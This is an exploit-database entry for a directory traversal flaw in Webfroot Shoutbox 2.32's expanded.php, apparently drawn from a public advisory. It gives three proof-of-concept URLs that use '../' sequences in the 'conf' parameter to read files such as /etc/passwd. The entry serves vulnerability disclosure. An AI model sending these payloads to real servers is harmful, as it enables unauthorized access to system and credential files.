Webfroot Shoutbox 2.32 - 'Expanded.php' Directory Traversal

Author: _6mO_HaCk
type: webapps
platform: php
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date_added: 2003-06-02 
date_updated: 2012-11-14 
verified: 1 
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source: https://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers.

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue